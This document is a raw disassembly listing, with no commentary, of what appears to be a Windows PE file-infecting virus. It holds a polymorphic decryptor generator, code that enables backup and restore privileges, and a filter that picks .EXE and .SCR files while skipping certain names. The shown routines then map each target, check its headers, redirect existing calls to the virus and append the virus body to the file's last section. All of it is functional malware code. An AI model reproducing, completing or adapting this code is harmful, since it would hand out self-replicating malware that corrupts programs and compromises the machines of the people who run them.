		dd 8, 0BD807275h, 1039BEh, 0E8697400h, 0FFFFFD65h, 291829B8h
		dd 0BAA50AC9h, 0C0001039h, 0A50A03E4h, 1039BAh,	0FD4BE8ABh
		dd 0B1B0FFFFh, 0BE858AAAh, 0AA001039h, 0FFFD3CE8h, 85B60FFFh
		dd 1039BAh, 4C0048Dh, 8E0C140h,	0AB668DB0h, 57AA01B0h
		dd 0FFFD20E8h, 243C29FFh, 0FBE2B866h, 0C085F759h, 10001039h
		dd 74000000h, 0AA49B007h, 0FA75B866h, 0AB66E102h, 0FFFCFCE8h
		dd 0AAE8B0FFh, 89ABC033h, 1042C4BDh, 0C085F700h, 20001039h
		dd 75000000h, 0DEE8573Bh, 0F7FFFFFCh, 1039C085h, 0
		dd 89187480h, 1042F0BDh, 0FD39E800h, 0C2E8FFFFh, 0B0FFFFFCh
		dd 0BAE8AAC3h, 5AFFFFFCh, 58B0CF8Bh, 850ACA2Bh,	1039B8h
		dd 0AAFC4A89h, 0FFFCA4E8h, 81B866FFh, 0C085F7C0h, 40001039h
		dd 74000000h, 28C48003h, 39B8A50Ah, 0AB660010h,	42C8BD89h
		dd 0F7AB0010h, 1039C085h, 0
; ---------------------------------------------------------------------------
		inc	eax
		jnz	short loc_47FB00
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb


loc_47FB00:				; CODE XREF: fuck:0047FAF5j
		test	dword ptr [ebp+1039C0h], 80h
		jnz	short loc_47FB17
		mov	al, 0B8h
		or	al, [ebp+1039B9h]
		stosb
		jmp	short loc_47FB54
; ---------------------------------------------------------------------------


loc_47FB17:				; CODE XREF: fuck:0047FB0Aj
		mov	ax, 1831h
		test	dword ptr [ebp+1039C0h], 100h
		jz	short loc_47FB29
		mov	al, 29h


loc_47FB29:				; CODE XREF: fuck:0047FB25j
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		mov	ax, 0F081h
		test	dword ptr [ebp+1039C0h], 200h
		jnz	short loc_47FB4C
		mov	ah, 0C8h


loc_47FB4C:				; CODE XREF: fuck:0047FB48j
		or	ah, [ebp+1039B9h]
		stosw


loc_47FB54:				; CODE XREF: fuck:0047FB15j
		mov	[ebp+1042E4h], edi
		mov	eax, 29CCh
		stosd
		test	dword ptr [ebp+1039C0h], 8
		jz	short loc_47FBDD
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 400h
		jnz	short loc_47FB88
		mov	al, 0B8h
		or	al, [ebp+1039BAh]
		stosb
		jmp	short loc_47FBD5
; ---------------------------------------------------------------------------


loc_47FB88:				; CODE XREF: fuck:0047FB7Bj
		test	dword ptr [ebp+1039C0h], 800h
		jnz	short loc_47FBA5
		mov	ax, 0E083h
		or	ah, [ebp+1039BAh]
		stosw
		xor	eax, eax
		stosb
		jmp	short loc_47FBBA
; ---------------------------------------------------------------------------


loc_47FBA5:				; CODE XREF: fuck:0047FB92j
		mov	ax, 1829h
		or	ah, [ebp+1039BAh]
		shl	ah, 3
		or	ah, [ebp+1039BAh]
		stosw


loc_47FBBA:				; CODE XREF: fuck:0047FBA3j
		test	dword ptr [ebp+1039C0h], 1000h
		mov	ax, 0C081h
		jz	short loc_47FBCD
		add	ah, 8


loc_47FBCD:				; CODE XREF: fuck:0047FBC8j
		or	ah, [ebp+1039BAh]
		stosw


loc_47FBD5:				; CODE XREF: fuck:0047FB86j
		movzx	eax, byte ptr [ebp+1039BEh]
		stosd


loc_47FBDD:				; CODE XREF: fuck:0047FB6Aj
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 40000000h
		jz	short loc_47FBFC
		mov	al, 50h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_47F76D


loc_47FBFC:				; CODE XREF: fuck:0047FBECj
		lea	ecx, [edi-2]
		mov	[ebp+1042CCh], ecx
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_47FC28
		mov	al, 0E8h
		stosb
		mov	eax, [ebp+1042F0h]
		sub	eax, edi
		sub	eax, 4
		stosd
		mov	[ebp+1042F0h], edi
		jmp	short loc_47FC2D
; ---------------------------------------------------------------------------


loc_47FC28:				; CODE XREF: fuck:0047FC0Fj
		call	sub_47F7DF


loc_47FC2D:				; CODE XREF: fuck:0047FC26j
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 10000h
		jnz	short loc_47FC49
		mov	al, 40h
		or	al, [ebp+1039B8h]
		stosb
		jmp	short loc_47FC58
; ---------------------------------------------------------------------------


loc_47FC49:				; CODE XREF: fuck:0047FC3Cj
		mov	ax, 0C083h
		or	ah, [ebp+1039B8h]
		stosw
		mov	al, 1
		stosb


loc_47FC58:				; CODE XREF: fuck:0047FC47j
		test	dword ptr [ebp+1039C0h], 20000h
		jnz	short loc_47FC93
		test	dword ptr [ebp+1039C0h], 40000h
		jnz	short loc_47FC8A
		mov	al, 0C0h
		or	al, [ebp+1039BAh]
		mov	ah, [ebp+1039BFh]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_47FC92
; ---------------------------------------------------------------------------


loc_47FC8A:				; CODE XREF: fuck:0047FC6Ej
		mov	al, 40h
		or	al, [ebp+1039BAh]


loc_47FC92:				; CODE XREF: fuck:0047FC88j
		stosb


loc_47FC93:				; CODE XREF: fuck:0047FC62j
		test	dword ptr [ebp+1039C0h], 80000h
		jnz	short loc_47FCAF
		mov	ax, 0E883h
		or	ah, [ebp+1039B9h]
		stosw
		mov	al, 1
		jmp	short loc_47FCB7
; ---------------------------------------------------------------------------


loc_47FCAF:				; CODE XREF: fuck:0047FC9Dj
		mov	al, 48h
		or	al, [ebp+1039B9h]


loc_47FCB7:				; CODE XREF: fuck:0047FCADj
		stosb
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 100000h
		mov	cl, 75h
		jnz	short loc_47FCF0
		mov	ax, 0F883h
		or	ah, [ebp+1039B9h]
		stosw
		xor	eax, eax
		stosb
		sub	[ebp+1042CCh], edi
		test	dword ptr [ebp+1039C0h], 200000h
		jnz	short loc_47FD0B
		mov	cl, 77h
		jmp	short loc_47FD0B
; ---------------------------------------------------------------------------


loc_47FCF0:				; CODE XREF: fuck:0047FCC9j
		mov	ax, 1809h
		or	ah, [ebp+1039B9h]
		shl	ah, 3
		or	ah, [ebp+1039B9h]
		stosw
		sub	[ebp+1042CCh], edi


loc_47FD0B:				; CODE XREF: fuck:0047FCEAj
					; fuck:0047FCEEj
		mov	al, cl
		mov	ah, [ebp+1042CCh]
		stosw
		mov	al, 58h
		add	al, [ebp+1039B8h]
		stosb
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_47FD5B
		test	dword ptr [ebp+1039C0h], 8000000h
		jnz	short loc_47FD5B
		test	dword ptr [ebp+1039C0h], 6000000h
		jnz	short loc_47FD51
		call	sub_47F6FB
		call	sub_47F76D


loc_47FD51:				; CODE XREF: fuck:0047FD45j
		call	sub_47F727
		call	sub_47F76D


loc_47FD5B:				; CODE XREF: fuck:0047FD2Dj
					; fuck:0047FD39j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_47FD6F
		mov	al, 0C9h
		stosb
		call	sub_47F76D


loc_47FD6F:				; CODE XREF: fuck:0047FD65j
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_47FDA5
		mov	al, 7
		sub	al, [ebp+1039B8h]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, [ebp+1039B8h]
		shl	ah, 3
		add	ah, 4
		stosd
		call	sub_47F76D
		mov	al, 61h
		stosb
		call	sub_47F76D


loc_47FDA5:				; CODE XREF: fuck:0047FD79j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]
		stosw
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 20h
		jz	short loc_47FE31
		test	dword ptr [ebp+1039C0h], 80000000h
		jz	short loc_47FDED
		mov	eax, edi
		mov	ecx, [ebp+1042F0h]
		sub	eax, ecx
		mov	[ecx-4], eax
		call	sub_47F7DF
		call	sub_47F76D
		mov	al, 0C3h
		stosb
		call	sub_47F76D


loc_47FDED:				; CODE XREF: fuck:0047FDCCj
		mov	eax, edi
		mov	ecx, [ebp+1042C4h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, [ebp+1039B8h]
		stosb
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 800000h
		jz	short loc_47FE20
		mov	ax, 0C350h
		or	al, [ebp+1039B8h]
		jmp	short loc_47FE2A
; ---------------------------------------------------------------------------


loc_47FE20:				; CODE XREF: fuck:0047FE12j
		mov	ax, 0E0FFh
		or	ah, [ebp+1039B8h]


loc_47FE2A:				; CODE XREF: fuck:0047FE1Ej
		stosw
		call	sub_47F76D


loc_47FE31:				; CODE XREF: fuck:0047FDC0j
		test	dword ptr [ebp+1039C0h], 2000003h
		jz	short loc_47FE9C
		mov	ecx, edi
		mov	eax, [ebp+1042DCh]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+1039C0h], 1000000h
		jnz	short loc_47FE66
		lea	eax, [ebp+1039B8h]


loc_47FE5E:				; CODE XREF: fuck:0047FE64j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_47FE5E


loc_47FE66:				; CODE XREF: fuck:0047FE56j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_47FE7B
		mov	ax, 0C031h
		stosw


loc_47FE7B:				; CODE XREF: fuck:0047FE73j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_47FE94
		mov	ax, 0C031h
		stosw


loc_47FE94:				; CODE XREF: fuck:0047FE8Cj
		mov	al, 0C3h
		stosb
		call	sub_47F76D


loc_47FE9C:				; CODE XREF: fuck:0047FE3Bj
		lea	eax, [ebp+1039CCh]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_47FEB4
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_47FECD
; ---------------------------------------------------------------------------


loc_47FEB4:				; CODE XREF: fuck:0047FEACj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, [ebp+1042E4h]
		add	[ebp+1042C4h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_47FECD:				; CODE XREF: fuck:0047FEB2j
		mov	[ebp+101069h], edi
		mov	edi, [ebp+1042C8h]
		sub	eax, [ebp+1042C4h]
		test	dword ptr [ebp+1039C0h], 40h
		jz	short loc_47FEED
		neg	eax


loc_47FEED:				; CODE XREF: fuck:0047FEE9j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_47FEF1	proc near		; CODE XREF: sub_48045B+336p
		push	esi
		push	edi
		cmp	dword ptr [ebp+104300h], 0
		jz	loc_4800D9
		call	near ptr loc_47FF11+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_47FF11:				; CODE XREF: sub_47FEF1+Fp
		add	bh, bh
sub_47FEF1	endp ; sp-analysis failed

		xchg	eax, ebp
		scasb
		db	3Eh
		adc	[eax], al
		mov	[ebp+104314h], eax
		push	ebx
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_47F414
		mov	edx, [ebp+1042F4h]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+104318h], eax
		add	eax, [edx+8]
		mov	[ebp+10431Ch], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_47F414
		mov	edi, [ebp+1042F4h]
		push	esi
		call	sub_47F414
		mov	edx, [ebp+1042F4h]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_4800D9
		jz	loc_4800D9
		add	esi, [ebp+1042F8h]
		add	esi, [ebp+1042B4h]
; START	OF FUNCTION CHUNK FOR sub_4800AA


loc_47FF8B:				; CODE XREF: sub_4800AA+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_480036
		lea	eax, [esi+4]
		sub	eax, [ebp+1042B4h]
		add	eax, [esi]
		push	eax
		call	sub_47F414
		cmp	dword ptr [ebp+1042F4h], 0
		jnz	short loc_47FFB9
		cmp	eax, [edi+0Ch]
		jnb	loc_4800D2
		jmp	short loc_47FFC5
; ---------------------------------------------------------------------------


loc_47FFB9:				; CODE XREF: sub_4800AA-FEj
		cmp	[ebp+1042F4h], edx
		jnz	loc_4800D2


loc_47FFC5:				; CODE XREF: sub_4800AA-F3j
		add	eax, [ebp+1042B4h]
		cmp	word ptr [eax],	25FFh
		jnz	loc_4800D2
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_47F414
		cmp	[ebp+1042F4h], edi
		jnz	loc_4800D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_4800D2
		cmp	eax, [edi+8]
		jnb	loc_4800D2


loc_48000E:				; CODE XREF: sub_4800AA+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, [ebp+1042B4h]
		push	edx
		push	eax
		push	dword ptr [ebp+104314h]
		call	dword ptr [ebp+103E6Eh]
		pop	edx
		test	eax, eax
		jnz	loc_4800E8
		jmp	loc_4800D2
; ---------------------------------------------------------------------------


loc_480036:				; CODE XREF: sub_4800AA-11Cj
		cmp	al, 0FFh
		jnz	loc_4800D2
		cmp	byte ptr [esi],	15h
		jnz	loc_4800D2
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_47F414
		cmp	[ebp+1042F4h], edi
		jnz	short loc_4800D2
		add	eax, [ebp+1042F8h]
		add	eax, [ebp+1042B4h]
		mov	[ebp+104320h], eax
		mov	eax, [eax]
		cmp	eax, [ebp+104318h]
		jb	short loc_48007F
		cmp	eax, [ebp+10431Ch]
		jb	short loc_4800E8


loc_48007F:				; CODE XREF: sub_4800AA-35j
		cmp	eax, 70000000h
		jb	short loc_4800BD
		call	sub_4800AA
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, [ebp+104320h]
		jnz	short locret_4800A9
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_4800C4
; ---------------------------------------------------------------------------

locret_4800A9:				; CODE XREF: sub_4800AA-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_4800AA

; =============== S U B	R O U T	I N E =======================================



sub_4800AA	proc near		; CODE XREF: sub_4800AA-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 0047FF8B SIZE 0000011F BYTES

		pop	dword ptr [ebp+1042D4h]
		pusha
		mov	esi, [ebp+1042B4h]
		call	sub_47F51B
		popa


loc_4800BD:				; CODE XREF: sub_4800AA-26j
		test	eax, 80000000h
		jnz	short loc_4800D2


loc_4800C4:				; CODE XREF: sub_4800AA-3j
		sub	eax, [edi+0Ch]
		jb	short loc_4800D2
		cmp	eax, [edi+8]
		jb	loc_48000E


loc_4800D2:				; CODE XREF: sub_4800AA-F9j
					; sub_4800AA-EBj ...
		dec	ecx
		jnz	loc_47FF8B


loc_4800D9:				; CODE XREF: sub_47FEF1+9j
					; fuck:0047FF73j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+29C0h], 0FFBFFFFFh
		jmp	short loc_48012A
; ---------------------------------------------------------------------------


loc_4800E8:				; CODE XREF: sub_4800AA-7Fj
					; sub_4800AA-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, [ebp+104300h]
		mov	[ebp+1042FCh], eax
		lea	edi, [ecx+29C4h]
		add	eax, [ebp+1042B4h]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+54h], 5
		mov	[esi-4], eax


loc_48012A:				; CODE XREF: sub_4800AA+3Cj
		pop	edi
		pop	esi
		retn
sub_4800AA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48012D	proc near		; CODE XREF: fuck:0048042Ep

; FUNCTION CHUNK AT 00480257 SIZE 00000002 BYTES

		push	edi
		call	dword ptr [ebp+103EBAh]
		shr	eax, 1Fh
		jnz	loc_480257
		push	eax
		push	esp
		push	28h
		push	0FFFFFFFFh
		call	dword ptr [ebp+103F1Ah]
		test	eax, eax
		pop	edi
		js	loc_480257
		call	sub_47E5AF
		call	near ptr loc_480168+5
		push	ebx
		db	65h
		jz	short near ptr unk_4801A6
		imul	ebp, [ebp+53h],	72756365h


loc_480168:				; CODE XREF: sub_48012D+2Ap
		imul	esi, [ecx+edi*2+41h], 88B5FF00h
sub_48012D	endp ; sp-analysis failed

		inc	edx
		adc	[eax], al
		call	dword ptr [ebp+103E6Eh]
		mov	[ebp+104290h], eax
		call	near ptr loc_48019C+1
		push	ebx
		db	65h
		push	esp
		popa
		imul	esp, [ebp+4Fh],	77h
		outsb
		db	65h
		jb	short loc_480203
		push	72507069h
		imul	esi, [esi+69h],	6567656Ch


loc_48019C:				; CODE XREF: fuck:0048017Fp
		add	[edi-18h], dl
		sub	eax, ebp
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh
		db 0E8h	; 
		db  13h
		db    0
unk_4801A6	db    0			; CODE XREF: sub_48012D+30j
		db    0
		db  53h	; S
		db  65h	; e
		db  52h	; R
		db  65h	; e
		db  73h	; s
		db  74h	; t
		db  6Fh	; o
		db  72h	; r
		db  65h	; e
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; 
		db  0Bh
		db 0E8h	; 
		db 0FFh
		db 0FFh
		db 0E8h	; 
		db  12h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  42h	; B
		db  61h	; a
		db  63h	; c
		db  6Bh	; k
		db  75h	; u
		db  70h	; p
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; 
		db 0EEh	; 
		db 0E7h	; 
		db 0FFh
		db 0FFh
		db 0E8h	; 
		db  18h
		db    0
		db    0
		db    0
		db  53h	; S
		db  65h	; e
		db  43h	; C
		db  68h	; h
		db  61h	; a
		db  6Eh	; n
		db  67h	; g
		db  65h	; e
		db  4Eh	; N
		db  6Fh	; o
		db  74h	; t
		db  69h	; i
		db  66h	; f
		db  79h	; y
		db  50h	; P
		db  72h	; r
		db  69h	; i
		db  76h	; v
		db  69h	; i
		db  6Ch	; l
		db  65h	; e
		db  67h	; g
		db  65h	; e
		db    0
		db  57h	; W
		db 0E8h	; 
		db 0CBh	; 
		db 0E7h	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  54h	; T
; ---------------------------------------------------------------------------


loc_480203:				; CODE XREF: fuck:0048018Dj
		lea	eax, [ebp+103DCCh]
		push	64h
		push	eax
		push	1
		push	edi
		call	dword ptr [ebp+103F26h]
		mov	[esp], edi
		call	dword ptr [ebp+103E62h]
		sub	al, al
		lea	edi, [ebp+104184h]
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp+103DCCh]
		push	40001h
		push	esp
		push	1
		push	edi
		call	dword ptr [ebp+104290h]
		push	esp
		push	4
		push	edi
		call	dword ptr [ebp+104290h]
		add	esp, 14h
		push	dword ptr [ebp+104288h]
		call	dword ptr [ebp+103E9Eh]
; START	OF FUNCTION CHUNK FOR sub_48012D


loc_480257:				; CODE XREF: sub_48012D+Aj
					; sub_48012D+1Fj
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_48012D

; =============== S U B	R O U T	I N E =======================================



sub_480259	proc near		; CODE XREF: fuck:00480427p
					; fuck:00480433p ...
		lea	esi, [ebp+104184h]
		push	esi
		call	dword ptr [ebp+103EA2h]
		cmp	eax, 0FFFFFFFFh
		jz	locret_48032A
		mov	[ebp+104294h], eax
		push	0
		push	esi
		call	dword ptr [ebp+103EDEh]
		test	eax, eax
		jz	locret_48032A
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+103E7Eh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4808AB
		mov	[ebp+104298h], eax
		lea	ecx, [ebp+10429Ch]
		lea	edx, [ebp+1042A4h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr [ebp+103EAAh]
		cmp	eax, 0FFFFFFFFh
		jz	loc_48089F
		push	0
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103EA6h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_48089F
		mov	[ebp+1042ACh], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr [ebp+104298h]
		call	dword ptr [ebp+103E82h]
		test	eax, eax
		jz	loc_48089F
		xor	ecx, ecx
		mov	[ebp+1042B0h], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr [ebp+103ECAh]
		test	eax, eax
		jz	loc_480877
		mov	[ebp+1042B4h], eax

locret_48032A:				; CODE XREF: sub_480259+10j
					; sub_480259+27j ...
		retn
sub_480259	endp

; ---------------------------------------------------------------------------


loc_48032B:				; CODE XREF: sub_48045B+188p
					; sub_48045B+2A0p
		mov	eax, 7327h
		mov	ecx, [ebx+38h]
; ---------------------------------------------------------------------------
		db 0F7h	; 
		db  85h	; 
		db 0C0h	; 
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		and	[ebp+6], dh
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042C0h], eax
		mov	eax, 29CBh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+101069h]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+1042B8h], eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_480370	proc near		; CODE XREF: sub_48045B:loc_4804D0p
					; sub_48045B+1B4p
		movzx	ecx, word ptr [ebx+6]
		stc


loc_480375:				; CODE XREF: sub_480370+23j
		jecxz	short locret_4803AC
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_4803AC
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_480375
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+1042ACh]

locret_4803AC:				; CODE XREF: sub_480370:loc_480375j
					; sub_480370+1Dj ...
		retn
sub_480370	endp


; =============== S U B	R O U T	I N E =======================================



sub_4803AD	proc near		; CODE XREF: fuck:00480445p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4803AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4803BA:				; CODE XREF: fuck:004803DBj
		mov	ecx, edi
		jmp	short loc_4803C9
; ---------------------------------------------------------------------------
		lea	edi, [ebp+104184h]
		cld


loc_4803C5:				; CODE XREF: fuck:004803D7j
		mov	ebx, edi
		xor	ecx, ecx


loc_4803C9:				; CODE XREF: fuck:004803BCj
					; fuck:004803DFj
		lodsb
		cmp	al, 61h
		jb	short loc_4803D4
		cmp	al, 7Ah
		ja	short loc_4803D4
		sub	al, 20h


loc_4803D4:				; CODE XREF: fuck:004803CCj
					; fuck:004803D0j
		stosb
		cmp	al, 5Ch
		jz	short loc_4803C5
		cmp	al, 2Eh
		jz	short loc_4803BA
		cmp	al, 0
		jnz	short loc_4803C9
		jecxz	short locret_4803AC
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_4803F7
		cmp	eax, 524353h
		jnz	locret_48032A


loc_4803F7:				; CODE XREF: fuck:004803EAj
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_48032A
		cmp	eax, 4E554357h
		jz	locret_48032A
		cmp	eax, 32334357h
		jz	locret_48032A
		cmp	eax, 4F545350h
		jz	locret_48032A
		xor	ebx, ebx
		call	sub_480259
		jnz	short loc_48043E
		call	sub_48012D
		call	sub_480259
		jz	locret_48032A


loc_48043E:				; CODE XREF: fuck:0048042Cj
		xor	edx, edx
		call	sub_48045B
		call	sub_4803AD
		call	$+5
		pop	ebp
		sub	ebp, 10344Fh
		jmp	loc_480855

; =============== S U B	R O U T	I N E =======================================



sub_48045B	proc near		; CODE XREF: fuck:00480440p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+1042B4h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_480855
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_480855
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_480855
		test	byte ptr [ebx+5Ch], 2
		jz	loc_480855
		mov	eax, [ebx+8]
		cmp	eax, 0A0A0A0A0h
		jz	loc_480855
		cmp	eax, 20202020h
		jz	loc_480855
		mov	ecx, [ebx+0C8h]
		jecxz	short loc_4804D0
		push	ecx
		call	sub_47F414
		add	ecx, [ebp+1042F8h]
		add	ecx, esi
		and	dword ptr [ecx+40h], 0
		and	dword ptr [ecx+44h], 0


loc_4804D0:				; CODE XREF: sub_48045B+5Dj
		call	sub_480370
		jb	loc_480855
		and	dword ptr [ebp+1042FCh], 0
		mov	eax, [edx+8]
		mov	ecx, [edx+10h]
		sub	eax, ecx
		jnb	short loc_4804F0
		xor	eax, eax
		jmp	short loc_4804F5
; ---------------------------------------------------------------------------


loc_4804F0:				; CODE XREF: sub_48045B+8Fj
		add	ecx, eax
		mov	[edx+10h], ecx


loc_4804F5:				; CODE XREF: sub_48045B+93j
		mov	[ebp+1042BCh], eax
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	near ptr dword_47EB50+43h
		xor	[ebp+1039BEh], dl
		mov	cl, 20h
		xor	[ebp+1039BFh], dh


loc_480517:				; CODE XREF: sub_48045B+D5j
		push	20h
		dec	cl
		pop	eax
		js	short loc_480532
		call	near ptr dword_47EB50+43h
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+1039C0h], edx
		jmp	short loc_480517
; ---------------------------------------------------------------------------


loc_480532:				; CODE XREF: sub_48045B+C1j
		test	dword ptr [ebp+1039C0h], 2000000h
		jz	short loc_480560
		test	dword ptr [ebp+1039C0h], 3
		jnz	short loc_480556
		and	dword ptr [ebp+1039C0h], 0F7FFFFFFh
		jmp	short loc_480560
; ---------------------------------------------------------------------------


loc_480556:				; CODE XREF: sub_48045B+EDj
		or	dword ptr [ebp+1039C0h], 10000000h


loc_480560:				; CODE XREF: sub_48045B+E1j
					; sub_48045B+F9j ...
		push	6
		pop	ecx


loc_480566:				; CODE XREF: sub_48045B+129j
		push	6
		pop	eax
		call	near ptr dword_47EB50+43h
		mov	al, [ebp+1039B8h]
		xchg	al, [edx+ebp+1039B8h]
		mov	[ebp+1039B8h], al
		loop	loc_480566
		test	dword ptr [ebp+1039C0h], 8
		jnz	short loc_48059B
		cmp	byte ptr [ebp+1039BAh],	1
		jz	short loc_480560


loc_48059B:				; CODE XREF: sub_48045B+135j
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_4805C2
		cmp	byte ptr [ebp+1039B8h],	5
		jz	short loc_480560
		cmp	byte ptr [ebp+1039B9h],	5
		jz	short loc_480560
		cmp	byte ptr [ebp+1039BAh],	5
		jz	short loc_480560


loc_4805C2:				; CODE XREF: sub_48045B+14Aj
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short loc_4805D7
		cmp	byte ptr [ebp+1039B8h],	2
		ja	short loc_480560


loc_4805D7:				; CODE XREF: sub_48045B+171j
		and	dword ptr [ebp+104300h], 0
		call	loc_47F855
		call	loc_48032B
		call	sub_48085E
		mov	ebx, [ebp+1042B8h]
		add	ebx, [ebp+1042BCh]
		call	sub_480259
		jz	loc_480855
		mov	esi, [ebp+1042B4h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_480370
		jb	loc_480855
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+1039C0h], 20000000h
		jnz	short loc_48064B
		mov	[ebp+104304h], edi
		lea	esi, [ebp+1039CCh]
		mov	ecx, [ebp+101069h]
		rep movsb


loc_48064B:				; CODE XREF: sub_48045B+1DAj
		push	edi
		mov	ecx, 0A73h
		lea	esi, [ebp+101000h]
		rep movsd
		mov	cl, 0
		jecxz	short loc_48065F
		rep movsb


loc_48065F:				; CODE XREF: sub_48045B+200j
		test	dword ptr [ebp+1039C0h], 20000000h
		jz	loc_48071D
		push	dword ptr [ebx+28h]
		call	sub_47F414
